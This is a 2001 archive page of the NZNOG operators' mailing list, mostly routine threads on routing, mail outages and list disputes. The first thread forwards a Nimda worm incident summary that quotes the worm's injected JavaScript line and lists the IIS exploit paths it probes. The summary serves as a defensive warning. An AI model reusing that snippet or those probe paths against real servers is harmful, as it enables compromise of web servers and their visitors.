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[jim@cyberjunkees.com: Re: FW: Worm probes]
by Joe Abley 18 Sep '01

18 Sep '01

Sorry for the lame cross-list fertilisation, but this seemed like a nice comprehensive summary. I'm getting hit by this big-time, here. ----- Forwarded message from Jim Olsen <jim(a)cyberjunkees.com> ----- Delivered-To: jabley-nanog(a)automagic.org Delivered-To: nanog-outgoing(a)trapdoor.merit.edu Delivered-To: nanog(a)trapdoor.merit.edu Delivered-To: nanog(a)merit.edu From: Jim Olsen <jim(a)cyberjunkees.com> Reply-To: jim(a)cyberjunkees.com Organization: CyberJunkees To: "'nanog(a)merit.edu'" <nanog(a)merit.edu> Subject: Re: FW: Worm probes Date: Tue, 18 Sep 2001 14:03:52 -0400 X-Mailer: KMail [version 1.2.3] In-Reply-To: <F16E03C431B5D211893000104BC5C1A70BC168A3(a)powaymail.credco.firstam.com> Precedence: bulk Errors-To: owner-nanog-outgoing(a)merit.edu X-Loop: nanog This is the information i've collected thus far on W32.nimda: W32.nimda is NOT a code red variant, and the people who referring to it as "Code Blue" were mistaken... The name it has been given (at least by TruSecure) is W32.nimda.a.mm. It uses several vulnerabilities in Windows NT and 2000 server's to infect a server, and also employ's email and web site mobile code to infect Windows 9x/ME/NT/2k boxes. During the initial infection of a server, the worm does the following: - download a file named "admin.dll" via tftp from the system that is trying to infect the target - add the guest account to the local administrators group and activates the account - makes sure c$ is shared out - copies itself to c, d, and e drives - tries to mail itself to email addresses that it discovers on the server - creates a file named readme.exe, which is used in the mobile code inserted on the web sites below - add this string to the web pages found on the server: <html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script></html> - scans for and infects other vulnerable IIS servers - goes through all shared directories and puts sample.nws, sample.eml, desktop.eml, desktop.nws in each directory. these are eml messages with copies of itself (readme.exe) autoloaded by the mobile html code mentioned above. - goes through all shared directories and puts riched20.dll in each directory, which is a trogan dll version of W32.nimda that is meant to infect people running notepad/wordpad in that directory. - puts a trojan mmc.exe in the winnt directory that is a copy of itself in the above "readme.exe" format (win2000 only) If a user views a web site that is hosted on an infected server, the following happens: - upon viewing an infected page, the mobile code extracts to readme.exe and starts in windows media player (without user intervention) - the user's machine becomes infected with W32.nimda at this point and time - the worm starts scanning for other vulnerable IIS servers - the worm emails itself to everyone on the user's address book - goes through all shared directories and puts sample.nws, sample.eml, desktop.eml, desktop.nws in each directory. these are eml messages with copies of itself (readme.exe) autoloaded by the mobile html code mentioned above. - goes through all shared directories and puts riched20.dll in each directory, which is a trogjan dll version of W32.nimda that is meant to infect people running notepad/wordpad in that directory. - puts a trojan mmc.exe in the winnt directory that is a copy of itself in the above "readme.exe" format (win2000 only) It us unknown to me what happens (at this point in time) if a user opens an attachment that is sent from an infected site. It is possible that it could automatically infect the user's computer using the same methods mentioned above. EVERYONE who uses internet explorer to browse the internet should probably do one of two things to stop from being automatically infected by W32.nimda (i have not tested whether or not turning off javascript fixes the problem): o) don't browse web pages until microsoft releases a patch o) turn OFF javascript EVERYONE who uses outlook/outlook express should, at the very least, not open any attachments that they are not expecting. Turning off auto-preview might be a good idea as well. Slashdot has an article discussing this: http://slashdot.org/articles/01/09/18/151203.shtml On Tuesday 18 September 2001 11:33, Braun, Mike wrote: > I received this warning from TruSecure regarding the latest worm attack. > > Mike Braun > First American CREDCO > > -----Original Message----- > TruSecure ALERT- TSA 01-023 - W32.nimda.a.mm > > Date: September 18, 2001 > Time: 1000 EDT > > RISK INDICES: > > Initial Assessment: RED HOT > > Threat: VERY HIGH, (rapidly increasing) > > Vulnerability Prevalence: VERY HIGH, effects IIS servers version 4.0, > 5.0, and internal networks. > > Cost: High, command execution is possible > > Vulnerable Systems: IIS 4.0 and 5.0 > > SUMMARY: > A new IIS worm is spreading rapidly. Its working name is Nimda: > W32.nimda.a.mm > > It started about 9am eastern time today, Tuesday,September 18, 2001, > Mulitple sensors world-wide run by TruSecure corporation are getting > multiple hundred hits per hour. And began at 9:08am am. > > The worm seems to be targeting IIS 4 and 5 boxes and tests boxes for > multiple vulnerabilities including: > > Almost all are get scripts, and a get msadc (cmd.exe) > get_mem_bin > vti_bin owssvr.dll > Root.exe > CMD.EXE > ../ (Unicode) > Getadmin.dll > Default.IDA > /Msoffice/ cltreq.asp > > This is not code red or a code red variant. > > The worm, like code red attempts to infect its local sub net first, > then spreads beyond the local address space. > > It is spreading very rapidly. > > TruSecure believes that this worm will infect any IIS 4 and IIS 5 > box with well known vulnerabilities. We believe that there are > nearly 1Million such machines currently exposed to the Internet. > > Risks Indices: > Vulnerability VULNERABILITY PREVALANCE is very high - Milllions of > Internet Web server hosts: TruSecure process and essential > configurations should generally be protective. The vulnerability > prevalence world-wide is very high > > Threat - VERY HIGH and Growing The rate of growth and spread is > exceedingly rapid - significantly faster than any worm to date and > significantly faster than any variant of Code red. > > Cost -- Unknown, probably moderate per infected system. > > > The worm itself is a file called > README.EXE, or ADMIN.DLL > a 56K file which is advertised as an audio xwave mime type file. > > Other RISKS: > There is risk of DOS of network segments by traffic volume alone > There is large risk of successful attack to both Internet exposed IIS > boxes and to developer and Intranet boxes inside of corporations. > > Judging by the Code Red II experience, we expect many subtle routes > of infection leading to inside corporate infections. > > We cannot discount the coincidence of the date and time of release, > exactly one week to (probably to the minute) as the World Trade > Center attack . > > > REPLICATION: > There are at least three mechanisms of spread: > The worm seems to spread both by a direct IIS across Internet (IP > spread) > It probably also spreads by local shares. (this is not known for > sure at this time) > There is also an email vector where README.EXE is sent via email to > numerous accounts. > > Mitigations > TruSecure essential practices should work. > Block all email with EXE attachments > Filter for README.EXE > Make sure IIS boxes are well patched and hardened, or removed from > both the Internet and Intranets. > Make sure any developer computing platforms are not running IIS of > any version (many do so by default if either. > Disconnect mail from the Internet > Advise users not to double click on any unexpected attachments. > Update anti-virus when your vendor has the signature. > > > -----Original Message----- > From: Bryan Heitman [mailto:bryanh(a)communitech.net] > Sent: Tuesday, September 18, 2001 8:22 AM > To: nanog(a)merit.edu > Subject: Re: Worm probes > > > > We're also seeing a large increase in this activity. This seems to be more > severe than the first time. Have an additional 30 to 40 meg inbound from > this. > > Best regards, > > > Bryan Heitman > CommuniTech.Net, Inc. > ----- Original Message ----- > From: <up(a)3.am> > To: <nanog(a)merit.edu> > Sent: Tuesday, September 18, 2001 10:05 AM > Subject: Re: Worm probes > > > ugh...this is way more impact...a 128k ISDN customer running an NT/Win2k > > box is at 100% BW, and my 2x T1's are at about 2x normal traffic for this > > time of day, although still well short of capacity...apache server > > processor load is WAY up just from the requests, and the logs are growing > > like mad. > > > > On Tue, 18 Sep 2001, deeann mikula wrote: > > > On Tue, 18 Sep 2001, ravi pina wrote: > > > > On Tue, Sep 18, 2001 at 09:54:31AM -0400, sigma(a)pair.com said at one > > point in time: > > > > > Has anyone else been seeing a dramatic increase in /scripts/.. NT > > worm > > > > > > probes this morning? We're seeing about 8000/second, starting > > around 9:15 > > > > > > Eastern time, to and from a wide variety of addresses. > > > > > > > > affirmative. i just looked at my logs, and it looks like > > > > each probe tries a bunch of things. i haven't seen much > > > > on the lists, but i'm looking right now. > > > > > > i'm pretty sure that the worm's attack phase starts on the 20th (which > > > of course, depends upon a correctly set system clock) and also that > > > attempting to execute something like /scripts/root.ext/c++ something > > > is involved. > > > > > > i think that cert's website would be a good place to look. i'm *not* > > > a security/virus chick, but i did host a talk by marty linder of cert > > > where he discected code red's activity and presented a summary. > > > > > > cert is of course, http://www.cert.org. > > > > > > > > > deeann m.m. mikula > > > > > > director of operations > > > telerama public access internet > > > http://www.telerama.com > > > 1.877.688.3200 > > > > James Smallacombe PlantageNet, Inc. CEO and Janitor > > up(a)3.am http://3.am > > ========================================================================= > > "MMS <firstam.com>" made the following > annotations on 09/18/01 08:34:15 > --------------------------------------------------------------------------- >--- "THIS E-MAIL MESSAGE AND ANY FILES TRANSMITTED HEREWITH, ARE INTENDED > SOLELY FOR THE USE OF THE INDIVIDUAL(S) ADDRESSED AND MAY CONTAIN > CONFIDENTIAL, PROPRIETARY OR PRIVILEGED INFORMATION. IF YOU ARE NOT THE > ADDRESSEE INDICATED IN THIS MESSAGE (OR RESPONSIBLE FOR DELIVERY OF THIS > MESSAGE TO SUCH PERSON) YOU MAY NOT REVIEW, USE, DISCLOSE OR DISTRIBUTE > THIS MESSAGE OR ANY FILES TRANSMITTED HEREWITH. IF YOU RECEIVE THIS > MESSAGE IN ERROR, PLEASE CONTACT THE SENDER BY REPLY E-MAIL AND DELETE THIS > MESSAGE AND ALL COPIES OF IT FROM YOUR SYSTEM." > > =========================================================================== >=== -- "Computer games don't affect kids, I mean if Pacman affected us as kids, we'd all be running around in darkened rooms, munching pills, and listening to repetitive music." ~unknown **** Jim Olsen Systems Administrator CyberJunkees **** ----- End forwarded message ----- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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OSPF Between Cisco and Ascend 6000
by Craig Whitmore 17 Sep '01

17 Sep '01

Hi there.. I am having trouble getting OSPF between Cisco's and Max6000. The Cisco's work ok with ospf, but the max can see the ospf routes advertised from the other Cisco's, but it cannot send out updates when someone connects to it. Anyone know where a Cisco<->Max OSPF Faq can be found (so I can get it working) Or maybe a Max4000/6000 Config that works from someone else? The Config are below: Cisco: router ospf 14 redistribute connected metric 1 metric-type 1 subnets redistribute static metric-type 1 subnets network x.x.x.x 0.0.0.15 area 14 Ascend: RUNOSPF=Yes Area=0.0.0.14 AreaType=Normal HelloInterval=10 DeadInterval=40 Priority=100 AuthType=None Cost=1 TransmitDelay=1 RestransmitInterval=5

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nz bgp stat collection
by Joe Abley 14 Sep '01

14 Sep '01

I have been collecting bgp stats from a number of nz operators for some time, using a box located near the APE in Auckland. I am currently producing lists of unique prefixes, aggregates and ASNs in use within NZ (with some graphs showing growth), and am storing periodic snapshots of the RIB for analysis later on (e.g. for comparison with other measurements efforts elsewhere, to see how NZ is similar or different to global views of the network). If there is some interest, I could also add some looking-glass functionality, or maybe some open telnet access to the console similar to that at route-views.oregon-ix.net (assuming those that are feeding me routes are happy with that). Data is available at: http://maggie.automagic.org/ I currently have 9 BGP sessions to various operators, which includes views of all the major international transit providers (either directly or through their customers). I would like to add more, though, to make sure the picture I'm seeing is representative, and to keep it accurate in the event that individual sessions go down for some reason. All I need is a multi-hop bgp session from one of your routers to my router in the sky tower. I will never send you any prefixes; you can send me as many as you like (the more the better). If you're an operator that uses BGP to peer and obtain transit from other networks, and feel like helping, please drop me a line so we can set something up. Thanks! Joe --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Cisco 806 - anybody have a config for L2TP?
by Ben Martel 13 Sep '01

13 Sep '01

Hi all, I am looking for a working config for an 806 (IOS 12.2.2) that has it acting as a LAC. The issue I can't seem to resolve is whether IOS supports the instantiation of the tunnel without an inbound PPP session to trigger it. Essentially I want the router to boot and then make the L2TP tunnel to the LNAS all on its little lonesome. This interface will then become the default route interface. Anybody done it? TIA ~ben =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ Ben Martel Ph: +64 9 9124067 CLEAR Net Development Fax:+64 9 9125008 Mob:+64 21 541202 =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Carnivore revived
by Dean Pemberton 12 Sep '01

12 Sep '01

Can anyone with contacts in the US core give some more insight on this article? FBI agents arrived at core noderooms the other day with Carnivore units and offered to pay for links http://www.wired.com/news/politics/0,1283,46747,00.html --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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aussie-isp
by Phill Groom 12 Sep '01

12 Sep '01

For those poor souls who asked me how to subscribe to the Australia version of nznog, send mail to majordomo(a)koala.aussie.net with "subscribe aussie-isp" in the body (without the quotes!). I challenge you to last more than a day! Phill. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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noise
by Phill Groom 12 Sep '01

12 Sep '01

G'day all, When I returned to Australia I re subscribed to the aussie-isp list. This was a huge mistake. The list is full of absolute garbage. The current topic seems to be whether or not Microsoft Flight Simulator would equip you with the skills to fly a large airplane into an even larger building. With only minor exceptions nznog has always been (at least for the two years that I was in NZ) used as a tool by cluefull New Zealand (and many ex NZ) network operators. There are obviously others hanging around, but comments are generally on topic and useful. Please don't let this list go the same way as the Australian one. If it does then I suggest that most network operators will probably take their comments to a private list and leave the crap for everyone else. Phill. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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RE: Julian Angelo
by Simon Byrnand 12 Sep '01

12 Sep '01

At 05:33 PM 11/09/01 -0400, !Dr. Joe Baptista wrote: >On Wed, 12 Sep 2001, Philip Beckmann wrote: > >> All Matthew is doing is warning the rest of us that Julian is at it again. >> And rightly so. Get a life. > >You seem to be taking this personally philip. as the vendor of a service >to whoever this Julian Angelo he has no right to tell us anything. Read >my comments concerning the legal implications and educate yourself >accordingly. The fact that there is a privacy law further agreivates the >issue. Joe, Regardless of whether what Matthew did is right, (and I don't happen to have a problem with it) it is clear that you're just using this as yet-another-opertunity(tm) to troll this mailing list. I can't speak for others, but I for one am sick and tired of known trolls who go out of their way to provoke off-topic flamefests which have little if any relevance to the mailing list. I didn't subscribe to this mailing list to watch installments of the Joe Baptista vs nznog soap opera, but to keep in touch with issues relevant to the internet in NZ. Whether you like it or not, warning that a notorious spammer is back in action is relevant, and your diatribe is not. If Matthew gets in trouble for saying what he did, that's his problem, and its not for you to lecture him on the rights or wrongs of doing what he did. In the interests of minimizing offtopic flaming (which is your goal, after all) I won't be responding to any further replies or messages from you, and I urge others to do the same. Regards, Simon Byrnand (speaking for myself) iGRIN Internet --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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US Terrorist Attacks
by Chris Wedgwood 11 Sep '01

11 Sep '01

As most of you will know my now, there have been a number of terrorist attacks in the US. All phone circuits over here are overloaded and email is about the only thing left working after popular new sites have collapsed under the load. Any communications to and from the East Cost of the US are suffering something terrible... email still works but thats about it for many places. Watching this live is truly chilling... --cw --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Julian Angelo
by Matthew Poole 11 Sep '01

11 Sep '01

Gee, what a short period of reform. Following on from Messr Angelo's request that his "history" be removed from the archives of NZNOG, he's back again. With a vengance. i4free's abuse mailbox currently has about 26 e-mails in it, and at least 18 of them are regarding the latest spam campaign by NZ's most notorious e-mail figure. We're certainly looking forward to closing all his accounts. Again. NOT! -- Matthew Poole "Ever wondered why cemetaries raise the cost of burials then blame it on the cost of living?" --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: Julian Angelo
by Mark Foster 10 Sep '01

10 Sep '01

Where the hell did that come from? As the person who did all of the closing of Julians accounts LAST time he did this over the I4free network, I know exactly what Matt is going on about. I dont see anything libelious in what Matthew has just said. Dont turn this into something its not. Its simply a case of Julian Angelo again shooting himself in the foot - libel is not libel when reported thruthfully. Lets not start a sparring match where one neednt be. Mark. At 02:02 11/09/2001 -0400, you wrote: >you should not be uttering this sort of spew on a public list - unless of >course you consider libel and slander charges against yourself and your >company to be a good thing. > >your expressing a certain amount of planned malice - and that don't look >right. > >regards >joe > > On Tue, 11 Sep 2001, Matthew Poole wrote: > > > > > Gee, what a short period of reform. > > Following on from Messr Angelo's request that his "history" be removed > > from the archives of NZNOG, he's back again. With a vengance. > > i4free's abuse mailbox currently has about 26 e-mails in it, and at least > > 18 of them are regarding the latest spam campaign by NZ's most notorious > > e-mail figure. > > We're certainly looking forward to closing all his accounts. Again. NOT! > > > > > >-- >Joe Baptista > >The dot.GOD Registry, Limited >The Executive Plaza, Suite 908 >150 West 51st Street Tel: 1 (208) 330-4173 >Manhattan Island NYC 10019 USA Fax: 1 (208) 293-9773 > >--------- >To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz >where the body of your message reads: >unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Raptor firewalls
by Brian Gibbons 10 Sep '01

10 Sep '01

>From: "Brodie Davis" <brodie.davis(a)voyager.co.nz> >As what that does is break the 3 way handshake for tcp >connections (it responds to a SYN with a ACK and a >incorrect acknoledgement number). >It(raptor) only behaves this way with the netscreen box, not with >my RH box sitting out in the wild. ( i have packet dumps of the traffic) Logic says that if you have a known good config and a broken config then compare the difference. What is the difference between the SYN packet from the RH box and the SYN packet from netscreen. Potential differences include TCP options, normally just MSS, but are there others? Source IP/Port? IP Options? ------ Hehe, how many years before we start seeing postings about "appliance problems" >Hi, is anyone else having weird problems talking to raptor firewalls. Hi, is anyone else having wierd problems with F&P SmartFridges >What is happening is that we are running netscreen firewalls (hardware >appliances) and we can't talk to any raptor firewall with its syn flood >protection on. What is happening is we are running Panasonic KXH-234 Set Top boxes connected to Sky, unfortunately everytime the user switches to the Sports channel the F&P SmartFridge pops up on screen to confirm an online order for three trays of Red :) Any clues? Cheers BG. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Raptor firewalls
by Brodie Davis 10 Sep '01

10 Sep '01

Hi, is anyone else having weird problems talking to raptor firewalls. What is happening is that we are running netscreen firewalls (hardware appliances) and we can't talk to any raptor firewall with its syn flood protection on. As what that does is break the 3 way handshake for tcp connections (it responds to a SYN with a ACK and a incorrect acknoledgement number). It(raptor) only behaves this way with the netscreen box, not with my RH box sitting out in the wild. ( i have packet dumps of the traffic) (i haven't had a chance to observe how it deals with PIX and checkpoint.) Is that traffic pattern an addition to the TCP standard or is it completly non standard coms. (I found rfc 0793/ STD0007 that defines what i expect, but i can't see any additions to the standard supporting the Axent/Symantic way). Anyone got any thoughts? Cheers, Brodie --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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mta.xtra.co.nz doesn't accept SMTP connects?
by Juha Saarinen 05 Sep '01

05 Sep '01

Noticed lots of mail to Xtra customers stuck in the mail queue on one of ours swervers... doesn't seem like mta.xtra.co.nz is working properly: $ telnet mta.xtra.co.nz. 25 Trying 203.96.92.132... telnet: connect to address 203.96.92.132: Operation timed out telnet: Unable to connect to remote host -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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radius diag command max6000
by John Lynch 05 Sep '01

05 Sep '01

Any one out there remember the command to put the max6000 into radius debug mode, did it a few weeks ago, now it's gone from my head ...... ?????? John Lynch System Administrator (string and tape specialist) Wise Net --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Responses to Letter from ING
by David Farrar 04 Sep '01

04 Sep '01

I'm inquiring if any ISP or like body knows of any business who responded to ING's letter and either changed their mind or now wishes they changed their mind? TVNZ are doing an article on the letter and would like to be able to interview someone who was taken in by it or at the minimum who was going to take it up until they sought advice. Also any indications from ISPs as to how many calls they have recived about the letter would be useful. If you know of anyone can you pass on their contact details to me or alternatively get them to contact me by e-mail or on 04 471 9353, preferably by midday tomorrow. Ta DPF --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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clear.co.nz seems to be rejecting mail
by Dan Langille 03 Sep '01

03 Sep '01

FWIW: it appears that Clear are rejecting mail to clear.co.nz but not to clear.net.nz: ----- The following addresses had permanent fatal errors ----- <postmaster(a)clear.co.nz> ----- Transcript of session follows ----- ... while talking to kakapo.clear.co.nz.: >>> DATA <<< 554 SPAM-Relay detected 554 <postmaster(a)clear.co.nz>... Service unavailable I've emailed postmaster(a)clear.net.nz but just in case mail start building up on your servers, you know why.. -- Dan Langille - DVL Software Limited FreshPorts - http://freshports.org/ - the place for ports --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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RE: mta.xtra.co.nz doesn't accept SMTP connects?
by Greg Clare 03 Sep '01

03 Sep '01

hmmm... an analogy is perhaps called for... Customer: Arrrgh, my telephone is dead! Telecom (in a publicly posted statement): Technicians are currently working on this issue. Customer: If they knew my telephone was dead, why the F@#&! didn't they phone and tell me??? > -----Original Message----- > From: Nicholas Lee [mailto:nj.lee(a)plumtree.co.nz] > Sent: Tuesday, 4 September 2001 2:58 pm > To: Mark Foster > Cc: Nznog(a)List. Waikato. Ac. Nz > Subject: Re: mta.xtra.co.nz doesn't accept SMTP connects? > > On Tue, Sep 04, 2001 at 01:40:24PM +1200, Mark Foster wrote: > > > > For NZ's Biggest ISP theyre remarkably quiet... > > Maybe because they aren't getting any mail? > > Nicholas > --------- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: mta.xtra.co.nz doesn't accept SMTP connects?
by Ewen McNeill 03 Sep '01

03 Sep '01

In message <21773.999569321(a)daedalus.co.nz>, Don Stokes writes: >Mark Foster <blakjak(a)blakjak.net> wrote: >>Simons Idea of setting up some servers as Secondary MX isnt a silly idea >>but I need to ask the questions: > >Actually, secondary MXs usually are a silly idea, if the MX can't >actually do anything useful with the mail apart from queuing it. All >they do is take a whole bunch of mail that would otherwise queue at the >client end mail server, and put them in one big queue. Secondary MXes (that can only queue and attempt onward delivery) are about "concentration of pain"; instead of the pain being spread across all the mail servers trying to deliver to the one that is down, it's concentrated in the secondary MX(es). This concentration of pain was more useful in the days when there were quite a few slow, not always up, links trying to deliver mail (especially dial-on-demand type links; uucp tended to be smarthosted once things got to a point that it mattered). Now that the common mode of mail delivery is basically two tier (clients deliver to their ISP's smart host, that smarthost is always connected and "easily" able to retry the mail often enough") there's less advantage in concentrating the pain. Especially weighed against some of the disadvantages you mention (eg, don't get "trouble sending" bounces early if sender end has low timeouts on those, but secondary MX doesn't). Except perhaps when the pain lasts a long time (hours, if not days), and causes a fair amount of trouble to a lot of people/mail servers. Like Xtra at the moment from what I've seen on nznog. BTW, has anyone considered that the reason that no one from Xtra has spoken up is that their outgoing mail is having trouble as well as their incoming mail? :-) Ewen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: mta.xtra.co.nz doesn't accept SMTP connects?
by Simon Byrnand 03 Sep '01

03 Sep '01

At 02:26 PM 4/09/01 +1200, Simon Lyall wrote: >On Tue, 4 Sep 2001, Don Stokes wrote: >> Most mailers have a hard time with huge queues of undeliverable mail, so >> such an MX is not going to be as efficient at dealing with the backlog >> when the primary comes back up as just leaving the mail where it is on >> client servers. > >The thing is it moves the load from our smtp servers (which last time I >looked had a lot of undelived emails for xtra customers) onto a machine >run by Xtra. Due to the amount of queued email on our servers we have had >to start taking actions to prevent delays of email to other sites. Yup. Not having a backup MX makes xtra's problem everyone elses problem instead. >You can also optimise the backup MX server for dealing with a large queue >to a single destination rather than a constrant stream of email to many >destinations. There are also other tricks you can run depending on your >mail software and network setup. Not to mention that mail servers around the country trying to connect to xtra's all the time wastes other peoples bandwidth. With a backup MX the mail queuing and retrying would be occuring between their backup and primary MX which in all likelyhood would be internal traffic (perhaps even on the same switched ethernet) rather than over national links. Dequeuing when the problem was resolved would be faster and more efficient than waiting for various random servers around the country to retry. >The anoying bit is that Xtra has not acknowledged this in public at all, >we are getting our customers blaming us for delays in email getting to >Xtra addresses. Well actually, they have acknowledged the problem on their website, (I was surprised, I was expecting the standard "There are no knon problems with the Xtra network") so short of making a public annoucement on TV and radio I don't see what else they could do to raise awareness to the average user :) Regards, Simon --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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RE: mta.xtra.co.nz doesn't accept SMTP connects?
by Michael Bordignon 03 Sep '01

03 Sep '01

> -----Original Message----- > From: Juha Saarinen [mailto:juha(a)saarinen.org] > Sent: Tuesday, 4 September 2001 1:20 PM > To: 'Simon Byrnand'; 'Dylan Reeve' > Subject: RE: mta.xtra.co.nz doesn't accept SMTP connects? > > > pop3.xtra.co.nz == mta.xtra.co.nz > then again they might be doing some type of port forwarding on that box? --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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The New Zealand Network Operators' Group
by Donald Neal 02 Sep '01

02 Sep '01

The New Zealand Network Operators' Group The New Zealand Network Operators' Group (NZNOG) has no king, president or formal membership. At present it consists of the subscribers to this mailing list, which anyone is free to join. This list has around 260 subscribers, growing by a handful each month. The NZNOG mailing list is provided through a server at The University of Waikato, and is administered by an employee of Telecom NZ Ltd. Neither of these organisations (nor the administrator) is responsible for its content. NZNOG Mailing List Acceptable Use Policy The NZNOG mailing list exists to provide a forum for the exchange of technical information and the discussion of implementation issues that require cooperation among New Zealand network service providers. In order to continue to provide a useful forum for discussion of relevant technical issues, users of the list are asked to respect the following guidelines. 1. Discussion will focus on Internet operational and technical issues. 2. Discussion related to meetings of network service providers is appropriate. 3. Discussion unrelated to these topics is not appropriate. 4. Postings to multiple mailing lists are discouraged. 5. Postings that include foul language, character assassination, and lack of respect for other participants are unacceptable. 6. Blatant product or service marketing is unacceptable. 7. Postings of a political, philosophical or legal nature are discouraged. 8. Postings to the list should be in ASCII or MIME encoded as text/plain. Attachments should not be sent to the list. To present a document, a suitable URL may be referred to. For documents of general interest, the use of proprietary file formats is discouraged. 9. Breaches of list etiquette should be dealt with privately with the offending list user, and should not result in complaints being sent to the list. 10. A person repeatedly breaching list etiquette shall receive warnings from the list administrator. A further breach after the second such warning within thirty days shall result in the offender being unsubscribed from the list. Other action may also be taken to block postings to the list by the offender. Any such unsubscription is to be immediately announced to the list. Mailing List Archives A full archive is available at http://list.waikato.ac.nz/archives/nznog/ Any message sent to the list will be archived and made available on the web automatically. Subscribing to the List To subscribe to the NZNOG list, send email to majordomo(a)list.waikato.ac.nz, where the body of the message reads subscribe nznog Digest Mailing List If you don't wish to receive postings as they are sent, you can instead subscribe to the nznog-digest mailiing list, on which all postings are sent out in a single "digest" every couple of days. Post-only Mailing List An address from which you wish to post, but which will not receive messages from the list, may be subscribed to nznog-postonly. You will presumably want to have another address subscribed to the main nznog list. Other Activities NZNOG does not at present have other regular activities than this mailing list. Donald Neal NZNOG Mailing List Owner/Administrator/Muggins --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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RE: Wireless LAN equipment
by Greg Clare 02 Sep '01

02 Sep '01

Just another thought for ya... If it is a single story house and you can get under the house, then what I did was simply drill a small hole through the chipboard floor (just big enough for the Cat5 cable to get through), at the very edge of the carpet, right next to the skirting board. A small hole in the floor at the edge of the carpet line is invisible to anyone making a visual inspection (unless you get the carpet caught in the electric drill and rip a huge chunk of wool out... try to avoid this!). Then, if you don't want to screw Cat-5 outlets to your skirting board, just crimp the RJ45 plugs directly onto the leads that come up from under the floor so you can plug the leads straight into your RJ45 device. When you move, just cut the plug off one end of each lead and pull them back through, the little holes are left hidden by the carpet. PS: Going under the house also saves getting your lungs full of glass fibre. Greg > -----Original Message----- > Anyway, this is how a real pro (yep, that's me!) would do it: you get > your Cat-5 ready and then, get into the ceiling! Brilliant > eh? Tends to > work the best on old vullahs, where you can crawl around, breathing in > the remnants of some extremely hirsute sheep (or glass wool), and drop > the cable through the ventilation shafts or the holes for the > chandeliers-wotsits. Honest, it looks really neat and tidy -- > much nicer > than sticky tape all over the place. Watch out you don't put a foot > wrong though, and step through the ceiling. Lots of > cable-laying novices > perish every year that way. > > -- > Juha --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Re: Speed of the list
by Ewen McNeill 01 Sep '01

01 Sep '01

In message <20010829125016.S7096(a)wilbur.katipo.co.nz>, Dean Pemberton writes: >[nznog; messages take a while to come out] >I can remember some guy from BSDi talking at uniforum in 98 about how sendmail >was crap at this. [addresses that don't resolve, etc, can kill whole list] Not to rain on anyone's parade, but most mailing list software injects messages in queue mode (to avoid an explosion of MTA processes trying to send the messages out immediately (in the background)). This then relies on the MTA queue processing to shift the messages out. Has anyone checked how often the queue is run on the relevant server? If it's every 30 minutes it'd pretty much exactly explain the times reported. If it's every 15 minutes (a common default with sendmail), then 15-minutes plus isn't that unlikely to happen given the right circumstances. For a mailing list of a few hundred addresses, it should be a walk in the park for most MTAs, sendmail included. Ewen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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Wireless LAN equipment
by Richard Stevenson 31 Aug '01

31 Aug '01

Hi all In the interests of keeping my soon-to-be-landlord happy, I'm looking at building a wireless LAN rather than making holes in the 13-month-old house I'm about to move into. Can anyone recommend any particular equipment, suppliers, sources of information? It'll only be a small network to start with - five systems, though it'll grow; I have a nasty habit of accumulating junk :P Many thanks Richard -- Richard Stevenson, Systems Specialist, Xtra Limited Phone: +64 9 355 5231 Mobile: +64 25 290 3101 Pager: +64 26 100 155 "Visual $ANYTHING" just screams out "100% suckage or your money back". -- Tanuki the Raccoon-dog, in the Monastery --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

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This is not London calling
by Juha Saarinen 31 Aug '01

31 Aug '01

